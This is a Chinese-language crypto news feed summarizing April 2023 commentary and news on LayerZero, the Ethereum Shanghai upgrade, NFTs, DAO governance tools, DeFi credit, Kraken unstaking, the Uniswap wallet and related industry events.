    Chainfeeds 导读： LayerZero 是一种全链互操作性协议，专注于链与链之间的数据消息传递。目前协议的网络采用率情况良好，生态方面也取得了一定规模的发展。头等仓撰文对 LayerZero 的项目基本概况、融资情况、进展、技术及安全性等方面进行了全面解读。 文章来源： https://medium.com/@first.vip/%E5%A4%B4%E7%AD%89%E4%BB%93%E7%A0%94%E6%8A%A5-%E5%85%A8%E9%93%BE%E4%BA%92%E6%93%8D%E4%BD%9C%E6%80%A7%E5%8D%8F%E8%AE%AE-layerzero-d999f5560e36 文章作者： 头等仓 观点： 头等仓：项目亮点：1）LayerZero 基金会目前持有的资产价值总计 2.61 亿美元，资金十分充沛，足够项目长期的开发、运营；2）产品方面，LayerZero 设计不同于目前市面上的跨链桥，其选择预言机网络取代了传统跨链的连续流式传输，通过将验证链上信息传递的负担外包给第三方预言机，从而使得协议更为轻巧，并且运营成本低； 内容来源 头等仓：3）LayerZero 创新的技术加之更快的部署速度和一定的成本优势，以及早期著名 VC 和社区具有影响力 KOL 的推动，LayerZero 生态在短短一年左右的时间内得到了快速的扩张；4）目前尚未被攻击过的 Arbitrary Messaging Bridges 项目数量还十分少，LayerZero 具有一定的先发优势。 内容来源 头等仓：项目风险：1）LayerZero 安全性未经充分验证，预言机和中继者彼此之间需要独立运行的信任假设有待商榷，中继机制背后的安全隐患等问题仍需警惕；2）LayerZero 经济模型暂未推出，目前在跨链桥领域，大部分项目发行的代币，在价值捕获能力方面的表现普遍较弱。 内容来源  ( 7 min )
    【英文长推】以太坊上海升级会触发 NFT 牛市吗？
    Chainfeeds 导读： 以太坊上海升级已完成，将为质押的验证者解锁 1800 万枚以太坊，这会触发 NFT 牛市吗？Ledger 研究员 Kouk.eth 为此撰推从触发 NFT 牛市的原因进行解析，分析上海升级对 NFT 造成的影响，对此他感到乐观。 文章来源： https://twitter.com/kouk_web3/status/1646181571282751495 文章作者： Kouk.eth 观点： Kouk.eth：上海升级之所以可能触发 NFT 牛市的原因：1）解锁了 350 亿美元，大约是 NFT 市值的两倍；2）验证者见证了 NFT 作为一种价值储存；3）即使是一小部分提款也可能引发牛市。自从 2020 年底开始以太坊质押以来，NFT 市场增长非常快，已经发展成为一个繁荣的生态系统。解锁的以太坊可能会流向一些蓝筹 NFT，但不确定将有多少投资于 NFT、山寨币或继续持有以太坊。【原文为英文】 内容来源 Kouk.eth：自「合并」以来，NFT 一直是 ETH 销毁量最大的类别，这有助于以太坊的通缩性质。上海升级后，NFT 交易量可能会增加。升级标志着以太坊 PoS 过渡的最后一个里程碑，这将允许质押者进行取款，并可能触发超级质押周期，从而提振 NFT 市场。那么，「上海升级」能否引发 NFT 牛市？升级可能会通过向验证者提供大量的以太坊来推动对 NFT 的投资。然而影响是不确定的，因为验证者可能会投资其他资产或持有他们的以太坊。由于「买在谣言起，卖在消息出」，这可能会导致以太坊价格下跌。【原文为英文】 内容来源  ( 2 min )
    Open AI CEO Sam Altman 投资的 NFT 平台 mint.fun 有什么特点？
    Chainfeeds 导读： mint.fun 是由 Context 推出的 NFT 铸造聚合器，于去年完成了 OpenAI CEO Sam Altman 领投的 1950 万美元种子轮融资，目前已经开放通行证铸造。BlockBeats 作者 Leo 撰文对 mint.fun 的功能及优势进行了分析。 文章来源： https://www.theblockbeats.info/news/36457 文章作者： Leo 观点： Leo：mint.fun 是一个 NFT mint 聚合平台，用户连接钱包后，可以进行相应的 NFT 系列 mint，界面简单易操作，显示信息种类全面。对于创作者而言，可以在 mint.fun 上启动自己的 NFT 项目。对于收藏者而言，mint.fun 的 minting 界面分为三类：免费 mint，用户钱包关注的 NFT mint、白名单 mint。 内容来源 Leo：作为一个 NFT mint 聚合器，mint.fun 现有优势包括：1）Mint 聚合器的方式：一个界面 mint 多个 NFT，也会在未来上线更多 NFT 系列 mint；2）安全：mint.fun 会对每个项目运行自动安全检查、标记项目，把可疑项目进行标记以便用户谨慎交互；3）汇总项目的所有信息，包括项目启动时间、到目前为止已 mint 的百分比等；4）项目创建者可以设定 mint 价格，许多项目都是免费铸造的。Gas 价格依据以太坊网络状态，mint.fun 不收取任何费用。 内容来源
    【英文长推】空投猎人：寻找即将推出代币的前 10 名项目
    Chainfeeds 导读： 加密 KOL arndxt 盘点了 10 个即将推出代币的项目，涵盖项目基本信息及融资情况。 文章来源： https://twitter.com/arndxt_xo/status/1646580714996105216 文章作者： arndxt 观点： arndxt：1）ConsenSys，为庆祝上海升级发布新的免费 NFT 系列，融资 7.3 亿美元。2）zkSync，代币确认在去中心化约 12 个月内发布，目前大量项目涌入其生态，融资 4.6 亿美元。3）Sui 预计成为下一个空投，筹资 3.4 亿美元。4）Aleo，专注于网络隐私的 L1，使用 Leo 编程语言，目前处于测试网第三激励阶段，融资 3 亿美元。5）Starknet，处于 alpha 阶段，正在为 Starknet Regenesis 的大升级做准备，融资 2.8 亿美元。【原文为英文】 内容来源 arndxt：6）LayerZero，探索跨链的未来，融资 2.6 亿美元。7）Scroll，传言其代币将在去中心化排序器实现后发布，融资 8300 万美元。8）Fuel，使用 Sway 语言，其高吞吐量和安全性非常适合 dApp，融资 8100 万美元。9）Eigenlayer，通过该项目将产生超大规模的质押以太坊总量，筹资 6400 万美元。10）Sei，其 DeFi 的体验将媲美中心化交易所，筹集 3000 万美元。【原文为英文】 内容来源  ( 2 min )
    加密市场奏响「退相关」进行曲，独立行情能持续多久？
    Chainfeeds 导读： 加密市场正在与黄金、美股相关度减弱，走独立行情，加密分析师 NingNing 解析该行情的具体状况，认为我们正在经历小的乱纪元。 文章来源： https://twitter.com/0xning0x/status/1646377844673773570 文章作者： Ningning.lens 观点： Ningning.lens：4 月 13 日，根据 CoinGecko Top200 24h 涨跌幅分布，市场总体处在一种温和反弹行情之中。比特币突破 $30000，既没有开启多头希望的一波气势如虹的强势上涨趋势，也没有带来空头盼望的假突破之后跌至 $26000 的深度调整，市场给我们的答案是继续横盘。 内容来源 Ningning.lens：跟黄金、美股相关度减弱，比特币正在走独立行情。与前两周比特币与黄金、美股相关度保持在 0.9 不同，当前比特币与纳斯达克 100 指数相关度降低至 0.59，与黄金相关度降低至 0.73。比特币正在跟它们退相关，这一现象最近一次出现是在去年的 10 月～11 月。最终以 FTX 崩盘事件为契机，比特币重新与美股强相关。 内容来源 Ningning.lens：从交易过热到交易衰退，我们正在经历小的乱纪元。CPI 出炉之后，作为避险资产代表的黄金和作为风险资产代表的纳思达克指数竟然同时拉升，然后才走势分化。这段时间，市场信号较混乱，噪音较多。凌晨公布的美联储会议纪要首提衰退，Fed 预计年底衰退、两年后复苏，这其实是在帮我们确定交易计划。 内容来源  ( 2 min )
    DAO 治理模式分析对比：该如何选择合适的治理工具？
    Chainfeeds 导读： DAO Tools 前沿研究小组发布了一篇关于 DAO 工具和 DAO 治理关系的研究报告，主要包括治理模式对比、DAO 治理工具介绍及权衡及 DAO 治理工具的未来演变局势。 文章来源： https://mp.weixin.qq.com/s/Xza4Tj5duNUwhaaKVQN3DQ 文章作者： jalin 观点： jalin：治理并不是链上化程度越高越好，治理是手段，不是目的。DAO 应该根据实际情况选择合适的治理模式。 链上治理和链下治理各有优缺点。链上治理具有高度的透明度、自动执行以及广泛参与的特点，但可能面临低参与度、激励不足等挑战。链下治理则提供了更多灵活性，便于人工干预和快速响应，但其决策过程可能不够透明且容易受到中心化的影响。 实际上，许多区块链项目和去中心化应用采用了链上治理和链下治理相结合的方式，以实现更为高效、公平和可持续的治理。 内容来源 jalin：治理工具：1）Tally：功能包括投票仪表板、提案创建向导、实时研究和分析以及教育内容。Tally 兼容性很好，支持以太坊、Polygon、Optimism、Arbitrum、Avalanche、BSC、Gnosis 和各种测试网络上的 DAO 治理合约。比较适合成熟业务模块的链上治理；2）Aragon：一站式链上 DAO 工具，无需编码即可启动链上 DAO 治理，及插件式 DAO OS。 目前新版本暂时只兼容以太坊、Polygon 主网和 Polygon/goerli 测试网； 内容来源 jalin：3）DAOlens：2022 年 1 月创立，链下治理工具，旨在帮助企业进行入职、贡献管理等工作来简化 DAO 的运营流程。起步晚的原因，目前还没有太多有名项目使用它。但 DAOLens 适用范围广泛，商业前景被很多人看好；2） Zora：去中心化协议，任何人都可以在未经许可的情况下进行买卖和创建，目前仅兼容以太坊主网和 Goerli 测试网。 内容来源 jalin：未来展望：大型 DAO 会选择开发自己的 DAO 工具，小型 DAO 会选择比较通用的 DAO Tool；2）市场会涌现各种特定应用的插件化 DAO 工具，供各方集成；3）大型 DAO 工具会集成更多外部 DAO 工具插件；4）链上治理比例会越来越高，混合治理模式会越来越流行随着区块链技术的进步，链上治理所占比例将逐步提高；5）链上治理数据的增加会推动涌现更多研究和分析链上数据的 DAO 工具；6）链上 DAO 工具的可组合性会推动在不同项目、生态和组织的用户身份和声誉的统合。 内容来源  ( 34 min )
    HashKey CEO 邓超对话赵长鹏：CeFi 的发展之道
    Chainfeeds 导读： 在 2023 香港 Web3 嘉年华上，HashKey Capital 首席执行官邓超与币安创始人赵长鹏进行了一场对话，交流彼此关于 CeFi 的观点，赵长鹏表示仍然看好基础应用的赛道发展。Foresight News 对该对话进行文字内容整理。 文章来源： https://foresightnews.pro/article/h5Detail/30664 文章作者： Foresight News 观点： CZ（CEO @Binance）：CeFi 和 DeFi 有不同的风险，都需要将安全列入考量，对于 CeFi 来说，CeFi 的交易所也可以是非常透明的，有很好的储备证明，这个在区块链上是可以验证的。当我们谈到信任时，我通常会考虑到三个层面：1）第一个层面，对于科技的依赖。2）第二个层面，对于平台来说，你做任何服务和业务，即便说使用区块链、比特币，还是要信任社群。3）第三个层面，要进行自我教育和风险管理。 内容来源 CZ（CEO @Binance）：今天 CeFi 在 Web3 的体验并不是那么好，从用户的角度来说，他们需要注册，需要做 2FA 认证，需要做硬件密钥，还要做 KYC 和地址证明，不同阶段会有很多的风险控制。有很多提升空间，但这也意味着有很多机会。CeFi 不是反对 DeFi，而 DeFi 也不应该反对任何人。这无关竞争，无论使用 DeFi 还是 CeFi 都是用户的选择问题。更多人使用 DeFi 的话，也会有更多人使用 CeFi，两边都有不同的用户群体，我们只需要一起合作把行业做大。 内容来源 CZ（CEO @Binance）：什么能够触发下一次大规模采用，这个问题总是随着时间有所不同，说实话我也没法预测，当下重要的是我们要提供生态环境，让人们可以尝试不同的东西。传统金融行业目前内缺乏改进，这是我们现在或将来看到推进行业的动力。接下来两三年我的重点主要是基础应用，我称之为所谓实验性的或者早期创新。今天的钱包不够好用，我认为这是目前最大的阻碍加密货币采用的困难点。 内容来源  ( 16 min )
    DeFi 借贷的圣杯：不足额抵押贷款
    Chainfeeds 导读： Treehouse Research 撰文解析什么是信用，以及它为何对经济和企业很重要，并分析研究流行的 DeFi 信贷协议，以及它们与 TradFi / CeFi 借贷相比的优缺点，以及总结几点认为对 DeFi 信贷市场下一阶段增长至关重要的观点。本文中文版由 W3.Hitchhiker 编译。 文章来源： https://w3hitchhiker.mirror.xyz/ZztFb8mhCDVIu712Qdh68VHfLKll2ffj3raB3Zb7G1s 文章作者： Treehouse 观点： Treehouse：在 TradFi 中，信用通常可以分为有担保贷款和无担保的信用贷款，相反，在 DeFi 中，现有的大多数借贷协议都是基于超额抵押的基础上，类似于当铺的借贷方式，不涉及创造信用。从本质上讲，无需许可的核心 DeFi 原则阻止了 DeFi 借贷市场的增长。引入信用协议可以解决资本效率低下和缺乏评估 DeFi 信用风险手段的问题。CeFi 贷方的风险偏好降低导致加密金融领域的信贷收缩，新兴的 DeFi 信用协议则可以抢占这一市场份额真空。 内容来源 Treehouse：商业模式：DeFi 信用协议充当信用基础设施提供者，通过连接借款人和贷方提供服务，利润来源主要为未偿还贷款的利息收入。信用协议主要向新兴市场中的加密原生机构和企业提供资金，并通过连接潜在的贷方和借款人来提供访问和收益。信用协议基础设施包括协议级别和贷款管理方面的决策，提供风险评估和信用评分等服务。协议还负责为贷款池设置利率，可以是动态的或具有固定水平的。这些信用协议目前已经产生了 1090 万美元的收入。 内容来源 Treehouse：DeFi 作为信贷准入和均衡器？当前的 DeFi 信贷模型简化了 Tradfi 陈旧流程的低效率，该模型为借款人提供了操作灵活性，可以在初始借款人申请获得批准后全天候 24/7 借款和偿还。为服务不足的借款 内容来源 Treehouse：DeFi 信用协议的当前局限性：1）缺乏期限结构；2）集中行业风险；3）缺乏共识的信用评级框架；4）法律和合规影响；5）资本流动性不足。未来发展方向：1）零售信贷，我们预见 SBT 将在确保零售消费信贷合规成为现实方面发挥核心作用；2）零知识 KYC（zkKYC），zkKYC 将允许用户证明自己的身份，而无需完全披露所有个人数据，同时仍遵守所有必要的 KYC 义务。 内容来源  ( 6 min )
    Meta 为何放弃了 NFT 计划？
    Chainfeeds 导读： 近期 Meta 放弃了将 NFT 集成到他们的核心产品 Facebook 和 Instagram 的计划，加密 KOL Joel John 对此举动撰文进行解析，认为对于 Meta 而言，将 NFT 集成到核心产品可能得不偿失。本文中文版由 Foresight News 编译。 文章来源： https://foresightnews.pro/article/detail/30633 文章作者： Joel John 观点： Joel John：Web2 平台对于 NFT 工具非常重要，因为大型平台可以驱动用户行为。例如，Instagram 通过「复制」Snapchat 添加了故事功能，Meta 在 Instagram 和 WhatsApp 上推出了故事功能，Instagram 推出了 Reels 来复制 TikTok。因此，允许用户在 Twitter 上验证他们的 NFT 或将 NFT 链接到他们的 Instagram 个人资料是非常重要的。Web3 产品必须走近用户所在的地方。 内容来源 Joel John：Meta 对将 NFT 纳入核心战略并不感兴趣，因为 NFT 在 Web2 平台上的地位很尴尬。Meta 启用 NFT 访问机制时，预设 NFT 将成为用户炫耀资产或展示品牌忠诚度的一种机制。但仅有少数用户拥有昂贵的 NFT，而且在 FTX 事件和行业经历大量诉讼案件后，名人们没有理由继续谈论其 NFT。此外，NFT 领域存在欺诈行为风险，这可能会让大型平台，如 Meta 面临责任问题。 内容来源 Joel John：对于 Meta 这样的平台存在挑战：1）需要能够检测、审查并下架代表品牌的盗版 NFT，否则品牌将失去推广自营 NFT 的动力；2）版税已经走向崩溃，构建允许用户在平台上交易 NFT 的功能将变得毫无意义。未来 NFT 必须像今天的通用媒体订阅一样普遍和易于购买，类似于 NFT 门票。检测链上知识产权侵权的能力还处于起步阶段。为了使自己能融入 Web3 的潮流中，平台不得不连接钱包，这将使他们面临审查问题。对于 Meta 的管理层来说，这些努力可能得不偿失。 内容来源  ( 17 min )
    【英文长推】数据解读上海升级后 ETH 提款量及提款速度：市场抛压几何？
    Chainfeeds 导读： 上海升级成功启动后，质押以太坊提取数据无疑成为了市场关注点。截至目前，还有多少 ETH 将被提取？提现速度有多块？是否会对市场造成抛压？加密研究员 100y.eth 根据 Nansen 上海升级仪表盘的统计数据带你一探究竟。 文章来源： https://twitter.com/100y_eth/status/1646692298493919233 文章作者： 100y.eth💜 | a41 观点： 100y.eth💜 | a41：截止目前，大约有 23 万枚 ETH 被提取。部分提款的处理速度大约为 115,200 个验证人 / 天，现存在 347,709 个前缀为 0x01 的验证者，如果全部部分提款则需要 3.02 天，而这些验证者共持有 301,833.15 枚 ETH。与部分提款相比，全额提款具备速度限制，根据目前验证者的数量而言，每天约有 1800 个验证者可以提款，目前有 24234 个验证者正在等待完全提款，这就意味着约有 64548 枚 ETH 将在 13.5 天内被提取。【原文为英文】 内容来源 100y.eth💜 | a41：这样的提款速度是否会造成巨大抛压？首先根据 Coingecko 数据，每天的 ETH 现货量是 7,655,958 枚，而 3.02 天内每天提取的 164,492 枚 ETH 仅占现货量的 2.1%。其次上海升级是去风险事件，所以也会有大量 ETH 被存入。第三，由于 LS 协议和一些 CEX 已经支持流动性代币，所以预计提款不会造成巨大的市场抛压。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Polygon 零知识证明工程师 ：我为什么不看好 Optimistic Rollup？
    Chainfeeds 导读： 关于 ZK Rollup 和 Optimistic Rollup 谁更高效的争论从未停止。Polygon 零知识证明工程师 Brendan Farmer 撰文表示 Optimistic Rollup 不利于 L3 的发展且第三方跨链桥的解决方案并不能在加密波动期间运作。 文章来源： https://twitter.com/_bfarmer/status/1646301285577273344 文章作者： Brendan 观点： Brendan：Offchain Labs 联创 Ed Felten 认为在 Optimistic Rollup 存在提款延迟的问题上，可以通过第三方跨链桥实现快速提款，且只要跨链桥的运营商运行一个完整的节点就不会有资金丢失的风险。这是一个有效的论点，但该方法并不能解决 Optimistic Rollup 的根本问题。【原文为英文】 内容来源 Brendan：首先这种模式对于 Layer3 而言并不好用，ZK 的核心优势是我们以 Layer3 的形式增加区块空间以满足需求，用户可以在生成一个证明的时间内在 L3 或 L2 之间进行无缝交易。且 ZK 允许像 L3 上的批量交易在 L2 上执行，这在提款延迟的情况下是无法进行的。【原文为英文】 内容来源 Brendan：或许可以把第三方跨链桥的概念延伸至 L3，但依靠做市商保留足够资金处理大量资金流动是不可能的。Optimistic Rollup 可以简单要求相同的排序器操作所有 L3 和 L2 上的交易，但这限制了用户监测和质疑欺诈的能力，也违背了 L3 的意义：在不增加节点要求的情况下使用互不相干的排序器增加区块空间。此外，加密资产波动性很大，所以做市商并不想持有加密货币长达 7 天。【原文为英文】 内容来源  ( 2 min )
    【英文长推】如何通过 Sismo Connect 将数据安全带入应用程序？
    Chainfeeds 导读： 通过 Sismo Connect，应用程序可以从用户数据库中请求任何数据，包括账户及个人数据等。需要注意的是，Sismo Connect 目前正处于测试阶段，因此用户界面可能会发生变化，用户的金库也可能被重置。 文章来源： https://twitter.com/Sismo_eth/status/1646492614995374080 文章作者： Sismo 观点： Sismo：Sismo Connect 是个人数据和应用程序之间的桥梁。应用程序向用户请求个人数据，用户能够在其数据库中生成 ZK 证明以证明账户或数据做有权，随后应用程序通过 Sismo Connect 的 TypeScript/Solidity 包在链上 / 链下验证证明。此外，应用程序现在可以在一个 Sismo Connect 请求中进行多个数据请求。【原文为英文】 内容来源  ( 2 min )
    【英文长推】读懂 Cosmos 生态 MEV 基础设施 Skip Protocol：如何实现主权 MEV 愿景？
    Chainfeeds 导读： Cosmos 的基础是主权和对特定应用区块空间的信念，基于这种信念，Cosmos 生态 MEV 基础设施 Skip Protocol 正在创建一套模块化工具，允许应用程序链完全控制交易排序等规则。Blockworks 研究员 D 对 Skip Protocol 的运作机制及优势进行了分析解读。 文章来源： https://twitter.com/blockworksres/status/1646532798533222400 文章作者： D 观点： D：Cosmos 生态 MEV 基础设施 Skip Protocol 开发了 MEV-Tendermint 和一个名为 Skip Select 的拍卖机制。修改后的 Tendermint 允许验证者在拍卖中接受来自搜索者的交易捆绑。而通过 Skip Select，验证者可以定制外包给 Skip Protocol 的块内容，并决定区块中允许的 MEV 类型及如何在协议、委托人和自己之间分配 MEV 奖励。此外，Skip Protocol 还创建了类似 Flashbots 安全机制的 Skip Secure。【原文为英文】 内容来源 D：Proto-Rev 可以说是 Skip Protocol 最激动人心的产品，允许 Osmosis 成为自己的套利者，在特定情况下比其他搜索者获得优先权。该模块将 Osmosis 的执行优先权载入协议中，识别并执行 backrun 套利机会。自上个月该模块上线以来，Osmosis 已经获得了约 3.5 万美元的收入。Proto-Rev 模块可以成为 Osmosis 一个可持续的价值累积机制，社区可以利用该模块降低费用及回购 OSMO 等。【原文为英文】 内容来源  ( 2 min )
    【英文长推】一览二季度 DeFi 领域叙事及催化剂：DINERO、dYdX、Stader Labs......
    Chainfeeds 导读： 二季度 DeFi 领域将会充斥大量创新。加密研究员 Thor Hartvigsen 梳理了他认为的 25 个具有令人兴奋的催化剂的协议，并对协议的最新进展及未来展望进行了叙述。 文章来源： https://twitter.com/ThorHartvigsen/status/1646582528357322752 文章作者： Thor Hartvigsen 观点： Thor Hartvigsen：1）Redacted 正在推出基于以太坊的超额抵押稳定币 DINERO，由 ETH 和 pxETH 抵押，具有很强的流动性，以 DINERO 支付中继器和 Gas 费用；2）链上结构化产品 Ribbon Finance 推出的期权交易平台 Aevo 利用 OP 堆栈实现高性能；3）Frax V3 致力于让 FRAX 获得美元而非 USDC 的支持；4）Arbitrum 上稳定币协议 Vesta 将在几个月内推出 V2，包括新的清算机制及改进的 VSTA 质押程序；【原文为英文】 内容来源 Thor Hartvigsen：5）dYdX 日交易量仍占据优势，V4 或将于今年晚些时候发布；6）预计 Arbitrum 叙事将持续至第二季度，包括 Stylus 及 Arbitrum Orbit；7）Pendle 呈指数级增长趋势，预计第二季度会有更多资产整合的增占；8）GMX V2 是最令人期待的协议升级之一，包括更多交易对和资产理性及独立流动性等；9）去中心化交易协议 Trader Joe 在推出集中性 AMM Liquidity Book V2.1 后交易量有所上涨；10）收益聚合器 Yearn 正在推出 ETH LSD yETH，由一篮子 LSD 产品组成，用于去中心化风险和提升收益率；【原文为英文】 内容来源 Thor Hartvigsen：11）基于 Arbitrum 的 DeFi 协议 Radiant 已发布 V2 版本，新功能包括允许在任何链上即时偿还贷款及无缝跨链借贷等；12）如果宏观环境良好，由于 GNS 代币经济学良好及协议收入模式健全，预计第二季度 Gains Network 将继续增长；13）Stader Labs 正在推出以太坊流动性质押产品，主要特点是只需要 4 枚 ETH 和价值 0.4 枚 ETH 的 SD 就可以运行验证器；14）Synthetix V3 将为质押者赋能多抵押品质押，并引入无许可资金池。【原文为英文】 内容来源  ( 2 min )
    SushiSwap 就申请返还流入 Lido 的 ETH 发起征求意见
    SushiSwap 就申请返还流入 Lido 的 ETH 发起征求意见 去中心化交易平台 SushiSwap 官方表示，目前已在 Lido 社区发起征求意见，其中提到因 RouteProcessor2 合约问题，一部分 ETH 被作为 MEV 奖励转移到区块构建器，然后被定向到了 Lido Execution Rewards Vault。SushiSwap 称上周末已联系了几位 Lido 贡献者讨论收回这些资金的可能，并被建议需在社区内进行讨论，目前约有 78 枚 ETH 被发送到 Lido Treasury，其余资金已经或将被重新抵押，SushiSwap 表示希望征求意见后找到止损解决方案。 内容来源  ( 12 min )
    Kraken 将解除超过 55.1 万枚 ETH 质押
    Kraken 将解除超过 55.1 万枚 ETH 质押 据 The Block 报道，在引入以太坊提款的 Shapella 升级后，美国加密货币交易所 Kraken 已发起提款请求。根据 Nansen 数据显示 Kraken 已要求提取超过 55.1 万枚 ETH（价值 10 亿美元），占目前等待从网络中提取的 82 万枚 ETH 的 65% 以上。Kraken 此前宣布，由于监管原因，它将自动开始为其美国客户解除所有以太坊的质押。根据 Dune 仪表板数据，Kraken 是以太坊上仅次于 Lido Finance 和 Coinbase 的第三大质押商。 内容来源  ( 242 min )
    EOS 推出 EOS EVM 主网测试版，允许以太坊和 EOS 之间的互操作性
    EOS 推出 EOS EVM 主网测试版，允许以太坊和 EOS 之间的互操作性 据 The Block 消息称，EOS 基金会在其主网上部署 EOS EVM 测试版，EOS Network Foundation 创始人 Yves La Rose 表示：「我们的目标是创造一个可互操作的未来，弥合区块链、开发人员和用户之间的鸿沟。借助 EOS EVM，以太坊开发人员和用户现在可以更轻松地利用 EOS 网络的低费用、超快速度和可靠性。EOS EVM 是一个重要的里程碑，代表了我们对多链未来的承诺」。EOS EVM 的目标是成为业界性能最高、兼容性最好的 EVM—— 预测一秒的区块间隔、低费用和每秒超过 800 次交换。EOS Network Ventures 最近公开承诺投资 2000 万美元用于 GameFi 和 EOS EVM 项目。 内容来源  ( 243 min )
    链上衍生品协议 Pear Protocol 完成 125 万美元种子轮融资
    链上衍生品协议 Pear Protocol 完成 125 万美元种子轮融资 据 Blockworks 报道，链上衍生品协议 Pear Protocol 完成 125 万美元种子轮融资，Flow Ventures、RNR Capital、Portico Ventures 和 JY Capital 等参投。 据 Blockworks 介绍， Pear Protocol 允许用户在不同资产上创建杠杆式多头和空头头寸。 内容来源 观点： hufhaus9：市场的涨跌其实不重要，Pear Protocol 使交易者能够使用他们整个投资组合作为抵押品来覆盖各种头寸，这些头寸通过现有 DEX 引擎和做市商利用其流动性基尼系那个交易，所有头寸都由 ERC-721 代表，类似于 Uniswap V3 头寸。除了加密货币，交易者还可以用股票和商品创建交易资产对。【原文为英文】 内容来源  ( 62 min )
    伦敦证券交易所集团清算机构 LCH 将于 2023 年第四季度上线比特币指数期货和期权清算服务
    伦敦证券交易所集团清算机构 LCH 将于 2023 年第四季度上线比特币指数期货和期权清算服务 伦敦证券交易所集团清算机构 LCH 将为在数字资产衍生品交易场所 GFO-X 交易的以现金结算的比特币指数期货和期权合约提供清算服务，但须经监管部门批准。据悉，新的比特币指数期货和期权合约将通过 LCH DigitalAssetClear 进行现金结算，并将基于 GFO-X/Coin Metrics 比特币参考汇率（GCBRR）。该服务预计将于 2023 年第四季度上线。 内容来源  ( 6 min )
    Aptos 通过 AIP-17 提案，将通过改进 Gas 使用提高 Gas 效率
    Aptos 通过 AIP-17 提案，将通过改进 Gas 使用提高 Gas 效率 Aptos 宣布 AIP-17 提案投票通过，对 Gas 使用进行了重大改进。通过分离执行和存储 Gas，将转向绝对 APT 定价，而非根据网络活动情况进行调整，能够为用户节省费用。此外，Aptos 还通过向智能向量和智能表引入 gas-efficient 数据结构，并通过处理 Move 资源的方式改进了存储足迹，使得每笔交易节省更多。最后，Aptos 还降低了整体执行成本，存储和执行 Gas 解耦后，现在可以在不涉及存储问题的情况下改变执行费用。 内容来源  ( 2 min )
    Uniswap 自托管开源移动钱包已在全球多个国家 App Store 上架，交易费用为 2.55%
    Uniswap 自托管开源移动钱包已在全球多个国家 App Store 上架，交易费用为 2.55% Uniswao 宣布其自我托管开源移动钱包已在全球多个国家 App Store 上架。该钱包功能包括在主网、Polygon、Arbitrum 和 Optimism 上交易、按市值、价格图表和交易量发现代币、收藏代币和钱包地址、通过 WalletConnect 连接到主网或二级市场上任何应用程序、查看 NFT 信息及通过推送获得链上活动通知等。购买加密货币交易费用为 2.55%。此外，Uniswap 还表示，获得 Apple 允许后，将会继续在其他国家推出。 此前 Uniswap 于 3 月宣布推出自托管开源移动钱包，通过 Apple TestFlight 向部分用户开放使用。 内容来源 观点： DeFi Drew：追踪该应用程序的下载 / 安装次数将是一个很好的采用指标，特别是对于零售用户。【原文为英文】 内容来源  ( 2 min )

  • Open

    马斯克：未来12个月推特不会从创作者的“打赏费”中收取任何费用
    PANews 4月14日消息，马斯克推特发文表示，鼓励内容创作者向粉丝提供订阅内容。创作者只需在设置中点击“变现”功能，便可收到“打赏”。在未来12个月里，推特将不收取任何费用，iOS或Android平台将收取30%的费用，而网页平台则收取8%的费用。一年之后，iOS和Android系统收取的费用将降至15%，但推特将在此基础上收取少量费用，具体取决于打赏金额。此外，推特还将帮助推广创作者的内容，创作者可以在任何时候选择离开推特，并带走他们创作的内容。  ( 1 min )
    Kraken将解除价值超过10亿美元的ETH质押
    PANews 4月14日消息，Nansen数据显示，在上海升级引入ETH取款功能后，加密交易所Kraken已要求提取超过55.6万枚ETH(价值10亿美元)，占目前排队等待取款的86万枚ETH的63.5%。Kraken此前宣布，由于监管原因，它将自动开始为其美国客户解除所有以太币的质押。此前，美国证券交易委员会(SEC)指控Kraken未能在美国注册其质押计划，Kraken同意支付3000万美元的罚款。  ( 1 min )
    伦敦清算所将提供比特币衍生品清算服务
    PANews 4月14日消息，据The Block报道，伦敦证交所集团旗下的伦敦清算所（LCH）计划与GFO-X达成合作，LCH将为GFO-X清算比特币指数期货和期权。新的数字资产公司名为LCH DigitalAssetClear，其清算业务将完全独立于其他交易业务。新的指数期货和期权合约将基于GFO-X/Coin Metrics比特币参考汇率，这是比特币美元价格的参考汇率。伦敦清算所是全球最大的衍生品清算所，GFO-X是一家成立于2020年的英国初创公司。  ( 1 min )
    美国SEC已正式向孙宇晨发出电子传票
    PANews 4月14日消息，法庭文件显示，美国证券交易委员会（SEC）已正式向波场创始人孙宇晨、波场基金会、BitTorrent基金会和BitTorrent(现被称为Rainberry)发出电子传票。据此前消息，SEC上个月表示正在起诉孙宇晨，指控其出售和空投未注册证券、实施欺诈和操纵市场。  ( 1 min )
    Uniswap移动端钱包在App Store正式上线，此前仅可通过Apple TestFlight使用
    PANews 4月13日消息，Uniswap Labs发推宣布其移动端自托管开源钱包Uniswap Wallet已获Apple批准在全球多个国家/地区的App Store上架，此前仅可通过Apple TestFlight使用。一旦 Apple 允许，将继续在其他国家推出。该钱包支持以太坊、Polygon、Arbitrum和Optimism网络。交易费用为 2.55% ，其它功能包括使用 WalletConnect 连接、查看 NFT、推送通知等。  ( 1 min )
    韩国公链Klaytn将于4月17日销毁总代币供应量的一半
    PANews 4月13日消息，据TechinAsia报道，韩国公链项目Klaytn将在区块高度119,750,400（4月17日）处进行硬分叉升级，同时将销毁大约一半的总供应量代币，大约是52.8亿枚KLAY（价值13亿美元）。被销毁的代币来自Klaytn的国库（总计72.81亿），这些代币是在2019年主网启动期间铸造的。储备中剩余的20亿代币将被保留，用于为未来的生态系统提供资金；但如果未能保证用途，这些代币也将在三年内被烧毁。此外，Klaytn 的原始开发商GroundX正在开发 Klaytn 的加密钱包 Klip 和区块链的 API 服务。  ( 1 min )
    Mastercard推出NFT门控音乐艺术家加速器计划
    PANews 4月13日消息，万事达卡（Mastercard）宣布了其新的艺术家加速器（Mastercard Artist Accelerator）计划，本次加速器计划增加了 Web3 的变化，即只有持有 NFT 会员通行证才能访问该计划。限量版 Mastercard Music Pass NFT 是解锁 Mastercard Artist Accelerator 计划的关键，这是一个 Web3 平台，可以免费访问教育材料，通过其合作提供独特的人工智能工具，以及提升音乐艺术家创造力的无价体验。免费的限量版 Mastercard Music Pass NFT 将在月底前向音乐和 Web3 粉丝开放。该计划是通过与区块链开发商 Polygon 共同创建，万事达卡寻求利用 Web3 技术来教育并让更多人参与音乐领域正在发生的数字化转型。  ( 2 min )
    PA日报 | 以太坊成功完成上海升级；香港将投入超7亿港元加快发展数码经济
